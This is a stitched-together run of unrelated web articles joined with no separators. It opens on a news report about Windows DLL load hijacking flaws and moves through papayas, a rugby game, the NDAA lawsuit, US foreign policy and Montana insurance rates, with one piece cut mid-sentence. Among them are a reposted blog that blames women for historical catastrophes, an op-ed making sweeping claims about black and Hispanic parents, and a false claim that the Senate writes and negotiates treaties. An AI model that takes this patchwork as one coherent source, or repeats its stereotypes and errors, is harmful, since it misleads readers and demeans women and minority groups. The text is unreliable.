At the same time, a Slovenian security company claimed that it reported bugs in two Microsoft-made programs last March.
“We’re going to publish a list of the vulnerable apps we found sometime soon,” said Mitja Kolsek, the CEO of Acros Security. “However, since HD Moore’s toolkit is already being used for finding vulnerable apps and at this point hundreds of good and bad guys already know about it, I can say that the two we fully-disclosed to Microsoft were in Windows Address Book/Windows Contacts and Windows Program Manager Group Converter.
HD Moore is the American researcher who kicked off a small wave of DLL load hijacking reports last week when announced he had found 40 vulnerable Windows applications. On Monday, Moore published an auditing tool that others can use to detect vulnerable software. When combined with an exploit added that same day to Metasploit, the open-source hacking toolkit that Moore authored, the tool’s results produce what he called a “point-and-shoot” attack.
All four of the exploits that went public Tuesday appear to be based on Moore’s Metasploit attack code.
Although the Windows Address Book — renamed Windows Contacts with the launch of Vista in 2007 — may be familiar to users, Program Manager Group Converter is probably not, Kolsek admitted. But both can be exploited.
“They’re part of every Windows installation and are associated with certain file extensions, allowing for ‘double-click-bang’ remote attacks,” Kolsek said. “To increase the likelihood of success, an attacker can create a shortcut with a PDF or Word document icon pointing to such files, which otherwise have different, less familiar icons.”
Contrary to Kolsek’s claim, Program Manager Group Converter, a holdover from pre-Windows 95 days, is included with Windows XP, but not with Vista or Windows 7.
Altogether, Acros uncovered 121 remote execution vulnerabilities in 41 different Microsoft applications, but reported details of only the pair in Address Book/Contacts and Program Manager Group Converter. The rest were left for Microsoft’s own researchers to find, said Kolsek.
Like a number of other companies, notably the French firm Vupen Security, Acros has decided that it will no longer report its vulnerability discoveries to vendors without compensation. “We’ve been giving them away for 10 years now,” said Kolsek, “and it wasn’t doing anything for us.”
In a long post to a new Acros blog, Kolsek added that there was no bad blood between his company and Microsoft over the former’s refusal to identify 119 bugs in the latter’s products. “It was a mere incompatibility of business interests,” he said.
Wireshark’s lead developer, Gerald Combs, said today that a fix for the DLL load hijacking bug would be released in the next few days. Microsoft and BitTorrent, the firm responsible for uTorrent, did not reply to requests for comment about their patching plans.
Gregg Keizer covers Microsoft, security issues, Apple, Web browsers and general technology breaking news for Computerworld. Follow Gregg on Twitter at @gkeizer or subscribe to Gregg’s RSS feed. His e-mail address is [email protected].
Read more about security in Computerworld’s Security Topic Center.
Original story - hereMexican papayas are not for the commitment-fearing yet fruit-loving person in your life. This is a fruit that requires careful thought in selection, peeling, deseeding, and cutting. Then, there's the actual preparation. This is not your average brown-bag-lunch kind of fruit. Papaya requires love; it requires patience. And most of all, it requires good forearm muscle.
If you taste a Mexican papaya straight from its thick green-yellow-orange skin, you'll find a taste that is somewhere between vomit and a rotten cantaloupe. And those slimy looking black seeds that dot the hollow interior normally scooped straight into the garbage can? For the first time in my papaya-loving life, I popped one in my mouth after the vague memory of a food-magazine reference to them being a fantastic addition to salads. As the taste of potent mustard seed and gassy fermented cabbage engulfed me, arms waving around helplessly, I thanked my own laziness for not ever building a new screen for my window, and allowed the chewed-up slimy black seed to fly to the hell where bad culinary advice goes to die.
Get the scoop on how to deal with that papaya and enjoy those good-for-you enzymes.New Delhi: New Delhi: Known for speaking his mind and stoking controversies, former Supreme Court judge Markandey Katju on Tuesday posted a blog titled 'Keep away from women'.
In his blog, the former chairman of Press Council of India mentions how women, since ancient times, have been playing key roles in the world's major controversies.
Full Text of his blog post:
Keep away from women
Just consider :
1. If Kaikeyi had not been over ambitious to get her own son Bharat declared as the next King of Ayodhya, Lord Rama would not have had to go to exile for 14 yeays, his father Dasharath would not have died an untimely death due to grief, Lanka would not have been burnt, and hundreds of thousands of soldiers would not have been killed in the war between Rama and Ravana
2. Had it not been for Maneka, Rishi Vishwamitra's tapasya would not have been broken.
3. Had it not been for Helen, there would not have been a Trojan war in which so many Greeks and Trojans were killed and Troy destroyed
4. Had it not been for Cleopatra, Mark Antony would not have lost half the Roman Empire
5. But for Lady Macbeth, Macbeth would not have become a murderer
6. Had it not been for Christine Keeler, John Profumo would not have had to resign as a Minister and member of Parliament in U.K.
6. Bill Clinton almost lost the post of President of USA because of Monica Lewinsky
7. Czarina Alexandra made her husband Czar Nicholas II do stupid things because of her infatuation with Rasputin.
8. Queen Mary Tudor ( known as Bloody Mary ) burnt hundreds of Protestants in England
9. The Dowager Empress of China Cixi agreed to the signing of the shameful Boxer Protocol, under which a foreign international army was posted in Beijing
10. President Abraham Lincoln's wife Mary made his life hell by her tantrums
The list is almost endless
So the best thing to do is to keep away from women and become a brahmachari
Tulsidas has rightly said in the Ramcharitmanas :
" दीपशिखा सम युवती तन, मन जनि होत पतंग "
i.e.
A young woman's body is like a flame. Do not be like a moth and get burnt ( by coming close to it )Last year Cyanide attempted to Kickstart a new Pro Rugby Manager which failed but now Pro Rugby Manager 2015 is coming thanks to 505 Games.
I have to admit I was disappointed that the original Kickstarter for Pro Rugby Manager 2014 didn’t work out, the world of rugby needs more games. Today 505 Games announced that Cyanide’s rugby management sim will be released this September. It’s hard to believe the last PRM was released a decade ago.
Players will have to manage their own rugby union side and it;s being developed under the license of the world’s largest leagues. There will be 54 team from the Aviva Premiership. PRO12 and Ligue Nationale de Rugby.
The game promises a state of the art sports management engine and a match-play feature for would-be managers to take active control of your team during games.
With all the real names and clubs included this is definitely one to watch if you’re a rugby fan.At just six years old Quincy Symonds may just be the best surfer and skater on the planet.
Wanting to spend more time with her dad Jake, who has been surfing his entire life, Quincy asked to accompany him to the beach one early morning while the family was on holiday. She didn’t know what surfing was, but she didn’t care, she was ready to figure it out. That was a year-and-a-half ago.
Quincy’s superior skills, and even more importantly her passion, have captured the attention of the surfing world, gaining multiple sponsors and a fanatical following on social media.
Her mother Kim said that seeing her in the water was the most natural thing in the world. “The very first time I saw her out in the ocean she changed, she became a complete person. To say that about a four or five-year-old might sound very strange, but I watched it happen.”
“It just doesn’t make sense to me, how she’s able to do what she does. I’m amazed by it. I’m really proud of it but, to be honest, I can’t comprehend how she does it,” says her dad Jake.
While Quincy’s accomplishments in the water and the skate bowl are impressive on their own, they are even more inspiring given that Quincy has been doing all of this while coping with a complicated medical condition.
Not long after she was born, Quincy was diagnosed with Congenital Adrenal Hyperplasia, a genetic disorder that affects her body’s ability to create cortisone.
Quincy’s condition requires medication several times a day, and can occasionally get so severe she needs intensive medical treatment.
While most may think it’s too dangerous for a five or six-year-old to be surfing or dropping 12 feet on a skateboard, Quincy’s parents take every possible measure to ensure her safety.
Quincy says she wants to be a pro surfer and skater, and it looks like this WYSKette is on her way!
via ABC OpenThe N1 from Chinese based Oppo looks to bring innovation back to the mobile phone scene. The N1 boasts a gorgeous display, a high quality and very unique camera, as well as other unique features such as gesture controls, rear controls and of course the O-Click Bluetooth accessory. We go hands on with the Oppo N1 to give you a first look.
Specs:
OS: ColorOS with Android 4.2.2 / CyanogenMod
Display: 5.9-inch IPS Full HD 1080p
Processor: 1.7 GHz Qualcomm Snapdragon 600 Quad Core
GPU: Adreno 320
RAM: 2 GB
O-Touch: Slide up or down, left or right, tap, double tap and long press for different functionality
O-Click: Bluetooth accessory for remote control and security purposes.
Camera: 13-megapixel sensor with dedicated ISP, FlashDual-mode LED, Aperture f/2.0
Scene modes: Normal, Panorama, High Speed, Rewind, Beautify, and Slow Shutter
Storage: 16 / 32 GB
Dimensions: 170.7 x 82.6 x 9 mm
Weight: 213 g
Sensors: Distance sensor, Light sensor, G-sensor, 4D Gyroscope
Battery capacity: 3610 mAh
GSM: 850/900/1800/1900MHz
WCDMA: 850/900/1700/1900/2100MHz
Other connectivity: USB OTG, Bluetooth 4.0, 5G Wi-Fi 802.11ac, Wi-Fi Direct, Wi-Fi Display, GPS
We’ll be back with a full review of the Oppo N1 later this week. Have questions about the N1? Let us know in the comments.Parents who despair over their teenagers' lack of concentration in class, inability to sit still long enough to finish homework or plan ahead, should take solace. Their children are not being lazy or careless – they are hapless victims of neurobiology.
New research has found that teenagers' brains continue developing far longer into adulthood than previously thought. Adolescents may look like young adults but their brain structure resembles that of much younger children, according to the study to be published in the Journal of Neuroscience on Wednesday.
"It is not always easy for adolescents to pay attention in class without letting their minds wander, or to ignore distractions from their younger sibling when trying to solve a maths problem," said Dr Iroise Dumontheil of University College London's Institute of Cognitive Neuroscience, one of the authors of the research. "But it's not the fault of teenagers that they can't concentrate and are easily distracted. It's to do with the structure of their brains. Adolescents simply don't have the same mental capacities as an adult."
Using MRI scans, the brain activity of adolescents were monitored as they tried to solve a problem in their heads while ignoring environmental distractions.
The scans revealed an unexpected level of activity in the prefrontal cortex, a large region at the front of the brain involved in decision-making and multitasking. This indicated that the brain was working less effectively than that of an adult.
"We knew that the prefrontal cortex of young children functioned in this chaotic way but we didn't realise it continued until the late 20s or early 30s," said Dr Sarah-Jayne Blakemore, who led the study. "What we discovered was that the part of the brain needed to complete this sort of process is still very much developing throughout adolescence. This means it continues to do a lot of needless work when making these sorts of decisions."
Chaotic thought patterns are a result, she said, of teenagers' brains containing too much grey matter – the cell bodies and connections which carry messages within the brain. As we age, the amount of grey matter in our brains decreases.
"What our research has shown is that there is simply too much going on in the brains of adolescents," said Blakemore. "The result is that their brain energy and resources are wasted and their decision-making process negatively affected."
Adults, on the other hand, have less grey matter, said Blakemore. "This means that neural transmissions travel more efficiently between brain cells, so the brain works more effectively."The opinions expressed by columnists are their own and do not represent the views of Townhall.com.
The Democratic Party and the liberal left’s obsession with disparate impact race politics crept into K-12 public education. Their latest social engineering experimentation uses black and Hispanic kids in poor urban classrooms as pawns for political power. Education is secondary.
Liberals believe they can artificially wipe away serious behavior problems that are cultural in nature. They do this by labeling reasonable standards of classroom discipline as racist or discriminatory. When urban schools with predominantly black and Hispanic students enacted protocols that create an environment where learning can take place, more suspensions and expulsions resulted, accompanied by a widening of the achievement gap between black students and their white counterparts.
The knee-jerk reaction from liberals was to claim that school disciplinary policies that disproportionally affected black and Hispanic kids were culturally insensitive, discriminatory and evidence of racism. The liberals were confusing correlation and causation. School officials were even discouraged from calling police even in cases of violent assaults - that could also be considered racist.
Social engineers in colleges and universities began drawing up untested experiments using black and Hispanic kids as laboratory rats. They wanted to show that leaving disruptive kids in the classroom, instead of removing them for serious behavior violations including assaults on teachers, would improve scholastic performance.
Instead, disruptions and scholastic performance both got worse. Leaving disruptive kids in a classroom is a danger not only to the teacher but to other students as well. The university professors are nowhere near the classrooms to see the disaster they created with their inane idea, nor are they held accountable.
Not surprisingly, no amount of cultural sensitivity training of school officials will negate the culturally dysfunctional baggage brought to school every day by students.
Too many black kids today do not come to school in a state of readiness to learn. They have not been read to by parents. They are not socially adjusted for a group environment like a classroom, nor have they been reasonably disciplined for unwanted behavior. This emotional baggage is then thrown into the lap of a teacher who does not have the education or skills for handling these serious emotional and behavioral problems.
Kids have an excuse because of their age, immaturity and bad parenting. The parents of those disruptive kids have no excuse. Long ago, parents were absolved of their responsibility to raise their kids effectively. Liberal social dogma told them racism was at the root of their inability to raise kids who were ready for the demands of a school classroom.
Poverty was to blame too. Now liberals had a reason for not just government but economic intervention as well. This gave the left a two-for-one moment to enact expensive government-run tax-supported programs. They could spend more money not just on unproven education experiments but also on new anti-poverty programs.
K-4 programs have become K-3 programs. This further absolves mainly black and Hispanic parents from their rightful responsibility of raising their kids.
We are on our way to kids being taken immediately from the maternity ward to a government school. They are already being fed three meals a day and provided for by taxpayer-funded after-school programs. Why not just start them on the road to government dependency, not to mention indoctrination and exposure to leftist dogma, as early in life as possible?
GOP politicians in Congress have been reluctant to challenge the efficacy of these expensive programs lest they are accused of not caring about black and Hispanic children, or being outright racist. Nothing makes a white Republican politician run like their hair is on fire faster than being accused of not caring about black kids.
Education has always been the traditional vehicle for upward mobility in America. It is even more important in today’s knowledge-based economy.
Blacks who have embraced education are less likely to have kids who drop out of school, commit crimes, join gangs or make other flawed lifestyle choices like drug and alcohol abuse and having children they are ill-equipped to raise.
One of the hallmarks of slavery was criminalizing the education of black children thus keeping them ignorant. I would argue that many of today’s public school policies achieve the same results - they keep kids ignorant.
The goal of social activists is not to fix education problems but to fix the statistics. They are focusing on the wrong thing. Statistics can be exploited not only to make school problems (seem to) disappear, but also to demonstrate the need for the continuation of government programs. The kids who fail in school today are the population that tomorrow will fill jails and prisons and be in need of government assistance.
Former President George W. Bush called these low expectations “soft bigotry.” He was right. Now the left wants to back up the soft bigotry with faulty statistics.
David Clarke (@SheriffClarke) is a Spokesman for America First Action and President of DAC Enterprises (www.DACenterprises.org). He served as the sheriff of Milwaukee County from 2002-17.The 2015 off season has been an eventful one for the Detroit Red Wings. Although, signing free agents Mike Green and Brad Richards will highlight the off season as a whole, the 2 year, 2.75 million(per year) Brendan Smith re-signing is always something to note and dissect as well.
It’s safe to say the 2014-15 season was an controversial one for the 26-year-old defenseman, who found himself on the bench multiple times throughout the season from former Detroit Red Wings coach Mike Babcock. One of the more notable occurrences occurred when Detroit was on the verge of clinching it’s 24th straight playoff appearance on April 9th when Smith, seated on the bench, smacked a bouncing puck back onto the ice. Babcock decided to bench Smith for the season finale against Carolina two games later.
So now it seems the sixth and final defensive spot in Detroit’s lineup is open. The rumors now circulate whether to trade Brendan Smith or not. There has also been speculation that the status of defensive Jakub Kindl and Smith are supplementary to where the team wants to move in the future.
Why you trade him
If you think back to the Dion Phaneuf speculation you remember Brendan Smith was rumored in being part of that discussion with Toronto. I lean toward young defensemen and Xavier Ouellet and Alexei Marchenko provide just that. Kindl could also be thrown into that discussion because if either Smith of Kindl stay on the team through training camp and into the season, one will be scratched. So you trade Brendan Smith because of the depth situation. If the right situation presents itself for him, you pull the trigger.
Why you keep him
This is going to depend on new coach Jeff Blashill’s personal preference and what he thinks of the young defensemen. Let’s remember that when the NHL lockout occured during the 2012-13 season, Smith went down and played with Grand Rapids putting up 20 points in 32 games under Blashill’s leadership. Smith has the upside and the makings of a solid defensemen in this league so the upside and risk could also play a role into this as well. If somebody can step up and fill that final defensive slot than Detroit will have a very solid defensive situation. Whether Smith has the most potential to fill that role is up to Blashill.
Why could you possibly get?
Straight up, nothing substantial so unless Detroit has the ability to steal a young prospect with a team in dire defensive need I don’t think that’s the card you play here. What I think is intriguing is Smith being packaged with other players, much like the trade deadline situation last season. I think if you packaged him with a veteran you may be able to pull something off for your hockey club.
Final Thoughts
I am not one for forcing trades and dumping Smith really isn’t an option with the contract signing. I think what needs to happen is, first off, unless you are handed a situation that is extraordinary you hold on to Smith for the start of the 2015-16 season. If he does not make the cut for the sixth and final spot, you use him as a backup because injuries will occur. You then look at trading him at the trade deadline to a team in need of desperate help. If he does get the spot you evaluate his play and monitor the play of Marchenko and Ouellet on whether or not they are able to take over. You then also look at moving him at the trade deadline for somebody who can help our playoff picture. I think trading him is the right move when his stock is high, which it isn’t right now.article
WASHINGTON (AP) — U.S. factories expanded at a brisk pace in August, a likely sign of strength for the U.S. economy as new orders, production and employment all improved.
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The Institute for Supply Management said Friday that its manufacturing index rose to 58.8 percent last month from 56.3 percent in July. Anything above 50 signals that factory activity is increasing.
The measure now stands at its highest level since April 2011, pointing to solid economic growth.
Fourteen of eighteen manufacturing industries surveyed by ISM posted growth in August, including the machinery, petroleum and coal products, and computer and electronic products sectors.
August was "a really strong month," Timothy Fiore, chair of ISM's manufacturing business survey committee, said in a telephone interview. He noted that the growth was mostly driven by the top manufacturing sectors.
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It's early to predict the impact on the oil, gas and chemical industries and on the broader economy of Hurricane Harvey. But Fiore said a snap survey of ISM members showed there likely will be a significant hit to the petroleum and chemical products sectors and "lots of supply chain disruptions."
Refining capacity, raw materials and the ability to deliver products all have been drastically affected by the storm that lashed Houston and nearby areas and shut down oil refineries, plastics plants and the Houston port — the second-busiest in the nation. There have been widespread reports of gasoline shortages.
The chemical products sector is one of the six biggest manufacturing industries, accounting for 17 percent of total activity, Fiore noted. Petroleum and coal, also among the "Big Six," account for 7 percent. Texas represents more than 10 percent of U.S. manufacturing production. Chemical products refining in the state accounts for 20 percent of the U.S. total, and oil and gas represents 30 percent.
U.S. factories have largely recovered from a slump in late 2015 and early 2016 caused by cutbacks in the energy industry and a strong dollar, which makes U.S. goods more expensive in foreign markets. Manufacturing employment began a sustained turnaround in December and enjoyed four additional months of job gains, only to have factories shed 1,000 workers in May.
New government data issued Friday showed that manufacturing was one of the leading source of U.S. job growth in August, adding 36,000.A group of journalists and academics is crying foul after a federal appeals court ruled they had no case against the federal government for provisions in the National Defense Authorization Act that could put American citizens at risk of indefinite detention.
On Wednesday, a lawsuit filed by journalist Chris Hedges and political philosopher Noam Chomsky, among others, was thrown out, in part because those who filed the suit could not prove they were in danger of detention, according to the court’s decision.
“We conclude that plaintiffs lack standing to seek pre enforcement review of Section 1021 and vacate the permanent injunction,” the ruling states. “The American citizen plaintiffs lack standing because Section 1021 says nothing at all about the President’s authority to detain American citizens.”
The decision by the 2nd U.S. Circuit Court of Appeals comes just one year after a federal judge ruled NDAA provisions that allow for indefinite detention of U.S. civilians unconstitutional. The judge found, in part, that plaintiffs’ fear of indefinite detention under the law was a real concern, allowing them the right to challenge the constitutionality of the act.
At issue are two sections of NDAA that would allow the military to indefinitely detain any person who has consorted with terrorists or who carries out “belligerent acts” against the U.S.
The circuit court’s decision used the same rationale the Supreme Court employed earlier this year when it struck down a lawsuit launched by Amnesty International regarding the government’s warrantless wiretapping, which was first launched under the George W. Bush administration. The Supreme Court ruled that the plaintiffs’ concerns were based on “highly speculative” fears.
The issue among the journalists, including Hedges, in the NDAA case is that they could fall under the law’s definition of those who would qualify for indefinite detention if, for example, they interviewed a person considered a terrorist by the government.
“This is quite distressing,” Hedges wrote after the decision was released. “It means there is no recourse now either within the Executive, Legislative or Judicial branches of government to halt the steady assault on our civil liberties and most basic Constitutional rights.”
While the plaintiffs can challenge the ruling, and likely will, there is no guarantee the Supreme Court will take up the case.
“The Second Circuit panel did not distinguish itself in upholding civil rights in America,” the plaintiffs’ attorney, Carl Mayer, told the Huffington Post. “I think the decision is imminently appealable because it reverses a very solid and comprehensive lower court opinion, and frankly I think it’s time for the Obama administration to stop supporting these statutes like the indefinite detention law.”
The NDAA and ongoing fight for change
The NDAA is normally passed once a year, and its chief function is to dictate the budget of the U.S. Department of Defense. But funding for the department also comes along with policy stipulations.
On Dec. 3, 2011, President Barack Obama signed a new version of the NDAA. The controversial legislation awarded the government broad-sweeping powers and defined criteria for indefinite detention of both terrorists and civilians.
The complaint filed by the plaintiffs labels the indefinite-detention power as a key violation of the Fourth and Sixth amendments to the Constitution, claiming it eliminates the right to be free from unreasonable search and seizure while also axing the right to a fair and speedy trial.
“The act fails to give reasonable notice of the acts and conduct that will render a person liable to military detention and is overbroad, thereby chilling and impinging upon protected expressive and associated rights,” the complaint states.
In addition to Hedges and Chomsky, the plaintiffs include journalists Cornel West, Alexa O’Brien and Daniel Ellsberg, Icelandic politician Birgitta Jonsdottir and Occupy London co-founder Kai Wargalla.
In a U.S. District Court hearing held in New York in March 2012, Hedges argued before Judge Katherine Forrest that he and his colleagues had a legitimate cause for concern, saying the policy could have severely hampered his ability to interview suspected terrorists.
At the same hearing, Hedges claimed he was put on a government watch list when flying from Saudi Arabia to the U.S. for work, further evidence that he had a reasonable fear that he could be detained under the NDAA for doing his job.
Even after after a federal court ruled in favor of the plaintiffs, the Obama administration claimed Judge Forrest’s ruling was not a sweeping victory for Americans, as it only applied to those plaintiffs named in the lawsuit.
This goes against Obama’s initial reaction to the NDAA. As noted in the complaint filed by the plaintiffs, Obama expressed reservations upon signing the bill.
“I have signed this bill despite having serious reservations with certain provisions that regulate the detention, interrogation, and prosecution of suspected terrorists,” Obama said.
Targeting NDAA anyway
Despite the most recent court ruling, communities around the country are launching grassroots campaigns that are leading state legislatures to act to prevent federal enforcement of NDAA.
Ignited by concerns on both the right and the left side of the political aisle, state legislators are grabbing hold of a political issue constituents can agree on.
In June, the California Liberty Preservation Act, which seeks to exempt Californians from any federal law that would allow them to be detained indefinitely without trial, was approved by the state Senate’s Public Safety Committee. It goes to the Appropriations Committee for approval Aug. 12.
Arizona was seen as a real hope for grassroots opponents of the NDAA when HB 2573 was passed by committee by a 6-2 vote in April. The bill intended to enact real protections for Arizonans against federal laws that allow for indefinite detention of Americans.
In Texas, NDAA opponents are pushing for HB 149, which was created to “counter the indefinite detention provisions, sections 1021 and 1022, of the National Defense Authorization Act,” according to People Against the NDAA, an advocacy organization.
The movements among state legislatures to protect their residents from indefinite detention is not new, but the most recent action makes clear that it’s an issue that’s not going away. By March 2012, 13 state legislatures had already taken a look at anti-NDAA legislation, according to The New American.
The movement, which has also included demonstrations throughout the U.S., has united two key political forces in the U.S.: the Occupy and Tea Party movements, which together held rallies in the leadup to congressional debate over the most recent NDAA, which included the same indefinite detention provisions.
“While the misguided mainstream media uses elements of the Tea Party and Occupy movements to divide us, the time has come to unify,” a People Against the NDAA press release regarding the event states. “We cannot let the mainstream media divide us through perceived differences and keep us from working together. We cannot stand idle while our constitution and bill of rights are trampled on.”
Following Wednesday’s court ruling, the group sent an email to supporters, largely thanking those in the Occupy movement who have stood vigilantly against the NDAA and worked to inform fellow Americans of its dangers.
“The Occupy movement has played a key role in awakening America to the dangers of the 2012 NDAA,” founder Dan Johnson wrote. “The first protest against the new law, in Grand Central Station, was organized by Occupy. It was followed by several others around the country. We are reaching out to anyone currently in the Occupy movement to join forces in this struggle against government tyranny.”
This article originally was published on July 19, 2013.The United States might be undergoing a paradigm shift in its foreign policy under President Donald J. Trump. The shift is from a policy driven by national security and ideology to one pushed by economic concerns.
This shift is best summed up by American military officer, strategy guru and blogger John Robb. At his Global Guerrillas blog, Robb noted that American foreign relations have been driven by national security concerns since World War II.
The Old American Policy
Since 1940, U.S. policy has been focused on protecting America and its’ allies from a series of enemies. Those enemies included Imperial Japan, Nazi Germany, the Soviet Union, Mao’s China and terrorism.
“This means that ALL other aspects of foreign policy are conducted in support of (slaved to) national security policy,” Robb wrote.
Some presidents tried to change this and failed; Richard Nixon tried to substitute hardnosed realpolitik for Cold War conflict. Jimmy Carter and George W. Bush attempted and failed to adopt an ideology-driven agenda; based on a mixture of American ideals and Christianity.
The Trump Agenda
Trump wants to change that by making economic policy, primarily trade, the driving force behind American policy. The Donald’s goal is make American policy like that of the People’s Republic of China, which puts the economic interests of the country above all else.
Trump wants to make success in trade; and economic growth at home, the primary goals of U.S. foreign policy. He sees the world as a vast market in which the major goal of the United States is to make as much money as possible.
“In Trump’s post-Cold War world, US foreign policy will be dominated by trade policy,” Robb wrote. “Even national security policy will be subservient to trade policy.”
That means Trump will try to cultivate close relations with nations which are not direct competitors to the U.S. That would mean close relationships with Russia, India, Australia, and perhaps South Africa. It might also mean adversarial relationships with China, Germany, Brazil, Mexico and possibly the United Kingdom – all of which are or have the potential to be direct competitors to the USA.
A wild card here would be Saudi Arabia which competes with America in oil but nothing else. The Saudis are experts at cultivating close relationships with the U.S. and they are a major market for U.S. technology and industrial equipment.
Why American Foreign Policy did not Change for 77 years
The Trump agenda faces many challenges the greatest of which is the unstable and dangerous global situation.
Carter and Bush II were forced to drop their idealistic policies because of events beyond their control. Carter’s humble idealism collapsed in the face of Communist aggression, particularly the Soviet invasion of Afghanistan. Bush’s Christian idealism did not survive the brutal new landscape that emerged after September 11.
Nixon’s realpolitik was more successful; it worked with China because the Chinese wanted to go along. Yet it failed with the Soviet Union, which refused to cooperate.
Nixon’s policy also ran up against powerful forces at home in the form of the defense industry and tens of millions of Americans that passionately hated Communism. They viewed his trip to China, withdrawal from Vietnam and attempts at détente with the Soviets as treason. The only peace those Americans would accept from Communists was surrender, which they got under Ronald Reagan.
The Trump Agenda and its Enemies
Trump’s policy might quickly collapse if there is a new terrorist outrage or some sort of blatant Russian aggression. At home it faces strong opposition from the national security establishment, particularly the intelligence community. Some observers such as former Guardian journalist Glenn Greenwald and Robb, believe there is an active conspiracy to sabotage Trump in U.S. intelligence agencies.
Donald is trying to buy the defense establishment off with promises of massive increases in military spending. That will work only as long as Congress; which controls the budget in the United States, goes along.
If Congress says no to more money for the military, a conflict between Trump and the Pentagon is likely. Currently Trump is safe for now because Republicans; who favor more military spending, are in control of both houses of Congress. That might change if the Democrats get control of the Senate or the House in 2018, when the next U.S. Congressional election is scheduled.
A bigger challenge will be the economic interests that profit from the trade status quo in the United States. This includes giant retailers such as Walmart (NYSE: WMT) and Amazon (NASDAQ: AMZN); which profit by importing vast amounts of merchandise from China. It also includes Wall Street financiers, Detroit automakers, Silicon Valley and industrial equipment makers; all of which conduct vast amounts of business with America’s current trading partners.
How America’s Farmers could kill the Trump Agenda
An even greater threat to the Trump agenda might be farmers because China is the world’s largest market for their product: food. Farmers are politically powerful in the United States, because they have lots of representation in Congress from small rural states (each of which has two Senators).
Since those states are heavily white and rural, they make much of the Republican power base. Trump might have little choice but to change his China policy, particularly if the Chinese stop buying American grains. Grains are grown in the Midwest and the Plains – the Republican heartland.
The U.S. Constitution gives the Senate; not the President, the power to write treaties and negotiate with other nations. This usually does not occur because most Senators have no interest in foreign affairs (people in other countries don’t vote in American elections).
Yet the Senate can simply tear up the President’s foreign policy anytime it wants to. This actually happened to Woodrow Wilson when the U.S. Senate rejected the Treaty of Versailles; and the League of Nations, and effectively destroyed his presidency after World War I.
That means Donald needs Republican support in Congress to implement his agenda. Current American political realities make it impossible for Trump to enlist Democratic support. Any Democrat who voiced support for Trump in the present environment would be committing political suicide.
These realities dictate that the Trump agenda may not work. If it fails, nobody knows what will replace it because the American people are tired of the old Cold War/War on Terror paradigm. That is the United States military as global police force. Yet the Democrats are offering no alternatives beyond platitudes about multilateralism.
Therefore one has to wonder if America has a new foreign policy or simply a widespread desire for something else. Either way, America’s relations with the rest of the world are about to change dramatically.TORONTO, ON - SEPTEMBER 05: (L-R) Adele Exarchopoulos and Lea Seydoux attend premiere of Blue Is The Warmest Color at Winter Garden Theatre on September 5, 2013 in Toronto, Canada. (Photo by Juanito Aguil/WireImage)
"Blue Is The Warmest Color" star Lea Seydoux has told The Independent that filming the controversial romance's centerpiece sex scene left her feeling "like a prostitute."
The admission comes in an interview with Seydoux and co-star Adele Exarchopoulos about director Abdellatif Kechiche's new lesbian romance and his unorthodox production methods.
"Of course it was kind of humiliating sometimes, I was feeling like
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who was bringing her one-year-old daughter for her first pumpkin picking adventure.
And she is excited to return on a different day, but not for pumpkins.
"We might come back on weekend and do the corn maze," Talarico said.
This year along with picking pumpkins, the farm has a Colts theme to its corn maze.
"I think it was nice touch to put something that's relevant to the city on it," Talarico said.
"They can actually walk through and go around in a horseshoe and the letters 'Go Colts'," Dudgeon said.
Dudgeon said it's been a big draw for visitors this year.
"We had our biggest crowd last Saturday that we've had in four years," she said.
And with the big matchup this weekend, she said they're expecting more visitors than ever who come for the maze and hopefully stay for some pumpkins.Majority likely to switch vote to see senate abolished
More than a third are “very likely”
TORONTO June 16th, 2015 - In a random sampling of public opinion taken by the Forum Poll™ among 1281 Canadian voters, the majority (56%) say they are likely to switch their usual vote to support a party or politician who promises to abolish the Senate, and more than a third say they are “very likely” to do so (36%). Strong interest in switching to achieve this end is much higher among the oldest (45%), males (40%), the very wealthiest (42%), in Quebec and the prairies (40% each) and among Conservatives (40%) and New Democrats (43%), but not Liberals (27%), among Francophones (44%) and those with no children (38%).
“The constitutional experts tell us abolishing the senate can’t be done, but there is a majority interest in it happening, especially among supporters of the government and the opposition. The constitutional reform process can no longer be a pair of handcuffs on the aspirations of a nation, and if it continues to hinder progress, we will see demands for reforms to the constitutional reform process itself," said Forum Research President, Dr. Lorne Bozinoff.
Lorne Bozinoff, Ph.D. is the president and founder of Forum Research. He can be reached at [email protected] or at (416) 960-9603.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
July 4, 2014, 5:31 PM GMT
Scientists have decoded for the first time the meanings of chimpanzee gestures. Researchers at the University of St Andrews observed the behaviors of more than 80 wild chimps in Uganda. They found that the animals use 66 gestures, from arm raises to ground slaps to foot stomps, to communicate 19 meanings. When one chimp taps another, for example, it means “stop that.” A hand fling or slapping an object means “move away," while raising an arm means means “I want that” or “give me that.” The findings were published this week in the journal Current Biology.
In a separate study, scientists who studied over 700 hours of video footage of chimpanzee behavior at a wildlife sanctuary in Zambia concluded that the animals are copycats. The scientists sought to understand why it was that after one chimp repeatedly stuck a piece of grass in her ear, others soon followed suit. The conclusion: There’s nothing random about it; the chimps spontaneously copied the behavior from a group member. The study, led by Edwin van Leeuwen of the Max Planck Institute for Psycholinguistics in The Netherlands, was published in Springer’s journal Animal Cognition.
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— James Eng, NBC NewsHELENA, Mont. (AP) — Two companies offering health insurance through the individual market in Montana cannot adjust their rates to take into account President Donald Trump’s decision this week to end federal subsidies for low- to middle-income workers, the state’s insurance commissioner said Friday.
Matt Rosendale said he will hold the Montana Health Co-op and PacificSource Health Plans to the rate increases they proposed, which average 4 percent for the co-op and 7.4 percent for PacificSource, unless he hears differently from the U.S. Center for Medicare and Medicaid Services. The rates were published earlier this week.
“Any Montana consumer who purchases these products can be assured that my office verified that Montana’s insurers, whether receiving subsidies or not, are financially able to provide the benefits for the posted rates regardless of action taken at the federal level,” Rosendale said in a statement.
Jerry Dworak, CEO of the Montana Health Co-op, disagreed. He said that if the co-op isn’t allowed to update its rates or leave the state marketplace it will lose more than $30 million next year, in addition to the $8 million it would lose over the next three months with the end of the cost-sharing reduction subsidies.
“The threat of receivership is not because of mismanagement. It’s not because Obamacare is failing,” Dworak said. “The threat of receivership is because of a political game they’re playing to sabotage the whole Obamacare marketplace.”
Blue Cross and Blue Shield of Montana submitted premium increases of about 22.3 percent to account for the possibility of losing the subsidy and will be able to offer policies at the rate it submitted, said John Dornan, vice president of external affairs.
“We knew all along that even if the (Affordable Care Act) remained the law of the land there was no guarantee that the rules of the road would not change and that’s what we’ve seen this week,” Doran said.
Open enrollment starts on Nov. 1, and the rates and plans will take effect on Jan. 1. Blue Cross has 31,000 policyholders this year, the co-op covers about 20,000 and PacificSource has about 12,000 policy holders.
